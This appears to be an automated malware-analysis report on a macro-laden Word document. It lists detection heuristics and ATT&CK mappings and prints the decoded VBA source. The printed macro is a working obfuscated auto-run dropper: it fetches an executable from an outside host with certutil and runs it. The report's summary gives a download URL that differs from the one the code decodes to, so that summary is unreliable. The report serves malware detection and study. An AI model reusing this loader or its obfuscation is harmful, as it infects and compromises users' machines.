MALICIOUS
498
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1218.005 System Binary Proxy Execution: Mshta
The Document_Open macro uses WScript.Shell to execute certutil.exe to download a second-stage payload from the reconstructed URL "https://osb-driver.com/css/osb-driver.exe" and save it as "osb-driver.exe" in a temporary directory. It then proceeds to execute the downloaded file. The use of certutil for downloading and WScript.Shell for execution are critical findings.
Heuristics 13
-
ClamAV: Doc.Dropper.Agent-6960068-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6960068-0
-
VBA macros detected medium 8 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Potential Shell call in VBA critical OLE_VBA_SHELLPotential Shell call in VBAMatched line in script
rthybfhd (60) Shell (trfutyjnih) End Sub -
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("upadte.bbc", "bbc", "exe") Set eryd = CreateObject("WScript.Shell") eryd.Run Replace("xx -urlcache -split -f ", "xx", "certutil.exe") & hh & " " & trfutyjnih, Replace("0555", "555", ""), Replace("500Fa500lse500", "500", "") -
LOLBin reference in VBA critical OLE_VBA_LOLBINLOLBin reference in VBAMatched line in script
Set eryd = CreateObject("WScript.Shell") eryd.Run Replace("xx -urlcache -split -f ", "xx", "certutil.exe") & hh & " " & trfutyjnih, Replace("0555", "555", ""), Replace("500Fa500lse500", "500", "") rthybfhd (60) -
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("upadte.bbc", "bbc", "exe") Set eryd = CreateObject("WScript.Shell") eryd.Run Replace("xx -urlcache -split -f ", "xx", "certutil.exe") & hh & " " & trfutyjnih, Replace("0555", "555", ""), Replace("500Fa500lse500", "500", "") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("upadte.bbc", "bbc", "exe") Set eryd = CreateObject("WScript.Shell") eryd.Run Replace("xx -urlcache -split -f ", "xx", "certutil.exe") & hh & " " & trfutyjnih, Replace("0555", "555", ""), Replace("500Fa500lse500", "500", "") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Attribute VB_Customizable = True Private Sub Document_Open() fb = Replace(("qsohfalobitanbd.com/css/OSB%20Driver.bbc"), "bbc", "exe") -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
hh = Replace(fb, "qsohf", "https://") trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("upadte.bbc", "bbc", "exe") Set eryd = CreateObject("WScript.Shell") -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
Reference to certutil (download/decode) high SC_STR_CERTUTILReference to certutil (download/decode)
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 950 bytes |
SHA-256: 075086e0fd46dcb9d2866e4319bd598a74fc9b60c8b2d9479836698bc4e74c9c |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
fb = Replace(("qsohfalobitanbd.com/css/OSB%20Driver.bbc"), "bbc", "exe")
hh = Replace(fb, "qsohf", "https://")
trfutyjnih = Environ$(Replace("trfgmprfg", "rfg", "")) & "\" & Replace("upadte.bbc", "bbc", "exe")
Set eryd = CreateObject("WScript.Shell")
eryd.Run Replace("xx -urlcache -split -f ", "xx", "certutil.exe") & hh & " " & trfutyjnih, Replace("0555", "555", ""), Replace("500Fa500lse500", "500", "")
rthybfhd (60)
Shell (trfutyjnih)
End Sub
Sub rthybfhd(sec)
Dim temp
temp = Timer
Do While Timer - temp < sec
Loop
End Sub
Attribute VB_Name = "NewMacros"
Sub my()
'
' my Macro
'
'
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.